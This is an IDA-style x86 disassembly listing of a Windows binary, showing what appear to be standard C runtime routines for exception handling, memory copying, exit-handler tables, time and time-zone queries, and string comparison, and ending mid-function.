sub_417CFA	proc near		; CODE XREF: sub_41CBEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_417DAE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_417D80
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_489530
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_417D80:				; DATA XREF: sub_417CFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_417D9D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_417DA6
; ---------------------------------------------------------------------------

loc_417D9D:				; CODE XREF: sub_417CFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_417DA6:				; CODE XREF: sub_417CFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417CFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DAE	proc near		; DATA XREF: sub_417CFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_417DD1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_417E1E
; ---------------------------------------------------------------------------

loc_417DD1:				; CODE XREF: sub_417DAE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41C9AA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_417E0F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417BFC

loc_417E0F:				; CODE XREF: sub_417DAE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_417E1E:				; CODE XREF: sub_417DAE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417DAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E23	proc near		; CODE XREF: sub_41CA45+C6p
					; sub_41CBEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_417E7A

loc_417E41:				; CODE XREF: sub_417E23+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417E4B
		call	sub_41D252

loc_417E4B:				; CODE XREF: sub_417E23+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_417E60
		cmp	ecx, [eax+8]
		jle	short loc_417E65

loc_417E60:				; CODE XREF: sub_417E23+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417E71

loc_417E65:				; CODE XREF: sub_417E23+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_417E71:				; CODE XREF: sub_417E23+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_417E41
		mov	eax, [ebp+var_4]

loc_417E7A:				; CODE XREF: sub_417E23+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_417E8E
		cmp	esi, eax
		jbe	short loc_417E93

loc_417E8E:				; CODE XREF: sub_417E23+65j
		call	sub_41D252

loc_417E93:				; CODE XREF: sub_417E23+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_417E23	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EA0	proc near		; CODE XREF: sub_41F4A0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_417EB8
		push	[ebp+arg_0]
		call	sub_42274C	; RtlUnwind

loc_417EB8:				; DATA XREF: sub_417EA0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EC0	proc near		; DATA XREF: sub_417EE2+Ao
					; sub_417F4A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_417EE1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_417EE1:				; CODE XREF: sub_417EC0+10j
		retn
sub_417EC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EE2	proc near		; CODE XREF: sub_41CEC6+Dp
					; sub_41F4A0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_417EC0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_417EFF:				; CODE XREF: sub_417EE2:loc_417F3Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417F3C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_417F3C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_417F3A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_417F76
		call	dword ptr [ebx+esi*4+8]

loc_417F3A:				; CODE XREF: sub_417EE2+44j
		jmp	short loc_417EFF
; ---------------------------------------------------------------------------

loc_417F3C:				; CODE XREF: sub_417EE2+2Aj
					; sub_417EE2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_417EE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F4A	proc near		; CODE XREF: sub_41CEE6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_417EC0
		jnz	short locret_417F6C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_417F6C
		mov	eax, 1

locret_417F6C:				; CODE XREF: sub_417F4A+10j
					; sub_417F4A+1Bj
		retn
sub_417F4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F6D	proc near		; CODE XREF: sub_41D1B0+1Ep
					; sub_41D1B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_438A5C
		jmp	short loc_417F80
sub_417F6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F76	proc near		; CODE XREF: sub_417EE2+4Fp
					; sub_41F4A0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_438A5C
		mov	ecx, [ebp+8]

loc_417F80:				; CODE XREF: sub_417F6D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_417F76	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417F90	proc near		; CODE XREF: sub_403FF0+5p
					; sub_40418F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_417F90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417FAF	proc near		; CODE XREF: sub_404620+22p
					; .data:004224E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41793B
		pop	ecx
		retn
sub_417FAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FC0	proc near		; CODE XREF: sub_40468D+3Ap
					; sub_41AAB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_417FE0
		cmp	edi, eax
		jb	loc_418158

loc_417FE0:				; CODE XREF: sub_417FC0+16j
		test	edi, 3
		jnz	short loc_417FFC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41801C
		rep movsd
		jmp	off_418108[edx*4]
; ---------------------------------------------------------------------------

loc_417FFC:				; CODE XREF: sub_417FC0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418014
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41801C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418014:				; CODE XREF: sub_417FC0+46j
		jmp	dword ptr loc_418118[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41801C:				; CODE XREF: sub_417FC0+31j
					; sub_417FC0+8Ej ...
		jmp	off_41809C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41802C+4
		dd offset loc_41805C
; ---------------------------------------------------------------------------

loc_41802C:				; DATA XREF: sub_417FC0+64o
		add	byte ptr [eax-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41801C
		rep movsd
		jmp	off_418108[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41805C:				; DATA XREF: sub_417FC0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41801C
		rep movsd
		jmp	off_418108[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41801C
		rep movsd
		jmp	off_418108[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41809C	dd offset loc_4180FF	; DATA XREF: sub_417FC0:loc_41801Cr
		dd offset loc_4180EC
		dd offset loc_4180E4
		dd offset loc_4180DC
		dd offset loc_4180D4
		dd offset loc_4180CC
		dd offset loc_4180C4
		dd offset loc_4180BC
; ---------------------------------------------------------------------------

loc_4180BC:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4180C4:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4180CC:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4180D4:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4180DC:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4180E4:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4180EC:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4180FF:				; CODE XREF: sub_417FC0:loc_41801Cj
					; DATA XREF: sub_417FC0:off_41809Co
		jmp	off_418108[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418108	dd offset loc_418118	; DATA XREF: sub_417FC0+35r
					; sub_417FC0+92r ...
		dd offset loc_418120
		dd offset loc_41812C
		dd offset loc_418140
; ---------------------------------------------------------------------------

loc_418118:				; CODE XREF: sub_417FC0+35j
					; sub_417FC0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418120:				; CODE XREF: sub_417FC0+35j
					; sub_417FC0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41812C:				; CODE XREF: sub_417FC0+35j
					; sub_417FC0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418140:				; CODE XREF: sub_417FC0+35j
					; sub_417FC0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418158:				; CODE XREF: sub_417FC0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41818C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418180
		std
		rep movsd
		cld
		jmp	off_4182A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418180:				; CODE XREF: sub_417FC0+1B1j
					; sub_417FC0+208j ...
		neg	ecx
		jmp	off_418250[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41818C:				; CODE XREF: sub_417FC0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4181A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4181A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4181A4:				; CODE XREF: sub_417FC0+1D6j
					; DATA XREF: sub_417FC0+1DDr
		jmp	off_4182A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 0D8004181h
		add	dword ptr [ecx+0], offset loc_418200
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418180
		std
		rep movsd
		cld
		jmp	off_4182A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418180
		std
		rep movsd
		cld
		jmp	off_4182A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418200:				; DATA XREF: sub_417FC0+1F1o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418180
		std
		rep movsd
		cld
		jmp	off_4182A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418254
		dd offset loc_41825C
		dd offset loc_418264
		dd offset loc_41826C
		dd offset loc_418274
		dd offset loc_41827C
		dd offset loc_418284
off_418250	dd offset loc_418297	; DATA XREF: sub_417FC0+1C2r
; ---------------------------------------------------------------------------

loc_418254:				; DATA XREF: sub_417FC0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41825C:				; DATA XREF: sub_417FC0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418264:				; DATA XREF: sub_417FC0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41826C:				; DATA XREF: sub_417FC0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418274:				; DATA XREF: sub_417FC0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41827C:				; DATA XREF: sub_417FC0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418284:				; DATA XREF: sub_417FC0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418297:				; CODE XREF: sub_417FC0+1C2j
					; DATA XREF: sub_417FC0:off_418250o
		jmp	off_4182A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4182A0	dd offset loc_4182B0	; DATA XREF: sub_417FC0+1B7r
					; sub_417FC0:loc_4181A4r ...
		dd offset loc_4182B8
		dd offset loc_4182C8
		dd offset loc_4182DC
; ---------------------------------------------------------------------------

loc_4182B0:				; CODE XREF: sub_417FC0+1B7j
					; sub_417FC0:loc_4181A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4182B8:				; CODE XREF: sub_417FC0+1B7j
					; sub_417FC0:loc_4181A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4182C8:				; CODE XREF: sub_417FC0+1B7j
					; sub_417FC0:loc_4181A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4182DC:				; CODE XREF: sub_417FC0+1B7j
					; sub_417FC0:loc_4181A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417FC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182F5	proc near		; CODE XREF: sub_4046F4+34p
					; sub_4046F4+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41789B
		pop	ecx
		pop	ecx
		retn
sub_4182F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418303	proc near		; CODE XREF: sub_418370+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48AB3C
		call	sub_41D2A8
		mov	edx, dword_48AB3C
		pop	ecx
		mov	ecx, dword_48AB38
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418362
		push	edx
		call	sub_41D2A8
		add	eax, 10h
		push	eax
		push	dword_48AB3C
		call	sub_41914F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418345
		retn
; ---------------------------------------------------------------------------

loc_418345:				; CODE XREF: sub_418303+3Fj
		mov	ecx, dword_48AB38
		sub	ecx, dword_48AB3C
		mov	dword_48AB3C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48AB38, ecx

loc_418362:				; CODE XREF: sub_418303+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48AB38, 4
		retn
sub_418303	endp


; =============== S U B	R O U T	I N E =======================================



sub_418370	proc near		; CODE XREF: sub_4047E1+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418303
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418370	endp


; =============== S U B	R O U T	I N E =======================================



sub_418382	proc near		; DATA XREF: .data:00425018o
		push	80h
		call	sub_417889
		test	eax, eax
		pop	ecx
		mov	dword_48AB3C, eax
		jnz	short loc_4183A3
		push	18h
		call	sub_4199DA
		mov	eax, dword_48AB3C
		pop	ecx

loc_4183A3:				; CODE XREF: sub_418382+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48AB3C
		mov	dword_48AB38, eax
		retn
sub_418382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183B1	proc near		; CODE XREF: sub_404904+19Fp
					; sub_405285+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42306C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_423190	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4894A2
		jnz	short loc_418416
		mov	ax, [ebp+var_18]
		cmp	ax, word_4894A0
		jnz	short loc_418416
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48949E
		jnz	short loc_418416
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48949A
		jnz	short loc_418416
		mov	ax, [ebp+var_20]
		cmp	ax, word_489498
		jnz	short loc_418416
		mov	eax, dword_489490
		jmp	short loc_41845B
; ---------------------------------------------------------------------------

loc_418416:				; CODE XREF: sub_4183B1+28j
					; sub_4183B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_42318C	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418443
		cmp	eax, 2
		jnz	short loc_41843F
		cmp	[ebp+var_32], 0
		jz	short loc_41843F
		cmp	[ebp+var_24], 0
		jz	short loc_41843F
		push	1
		pop	eax
		jmp	short loc_418446
; ---------------------------------------------------------------------------

loc_41843F:				; CODE XREF: sub_4183B1+7Aj
					; sub_4183B1+81j ...
		xor	eax, eax
		jmp	short loc_418446
; ---------------------------------------------------------------------------

loc_418443:				; CODE XREF: sub_4183B1+75j
		or	eax, 0FFFFFFFFh

loc_418446:				; CODE XREF: sub_4183B1+8Cj
					; sub_4183B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_489498
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489490, eax
		pop	esi

loc_41845B:				; CODE XREF: sub_4183B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D309
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41848B
		mov	[ecx], eax

locret_41848B:				; CODE XREF: sub_4183B1+D6j
		leave
		retn
sub_4183B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418490	proc near		; CODE XREF: sub_404904+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_489538
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4184E3
		mov	al, 0FFh
		mov	edi, edi

loc_4184AC:				; CODE XREF: sub_418490+28j
					; sub_418490+48j
		or	al, al
		jz	short loc_4184DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4184AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4184AC
		sbb	al, al
		sbb	al, 0FFh

loc_4184DE:				; CODE XREF: sub_418490+1Ej
		movsx	eax, al
		jmp	short loc_418517
; ---------------------------------------------------------------------------

loc_4184E3:				; CODE XREF: sub_418490+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4184EC:				; CODE XREF: sub_418490+68j
					; sub_418490+80j
		or	al, al
		jz	short loc_418517
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4184EC
		push	eax
		push	ebx
		call	sub_418E01
		mov	ebx, eax
		add	esp, 4
		call	sub_418E01
		add	esp, 4
		cmp	bl, al
		jz	short loc_4184EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418517:				; CODE XREF: sub_418490+51j
					; sub_418490+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41851C	proc near		; CODE XREF: sub_41A89C+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418533
		add	esp, 10h
		retn
sub_41851C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418533	proc near		; CODE XREF: sub_41851C+Ep
					; sub_41873B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41854B:				; CODE XREF: sub_418533+46j
		cmp	dword_438C8C, 1
		jle	short loc_418563
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_418572
; ---------------------------------------------------------------------------

loc_418563:				; CODE XREF: sub_418533+1Fj
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418572:				; CODE XREF: sub_418533+2Ej
		test	eax, eax
		jz	short loc_41857B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41854B
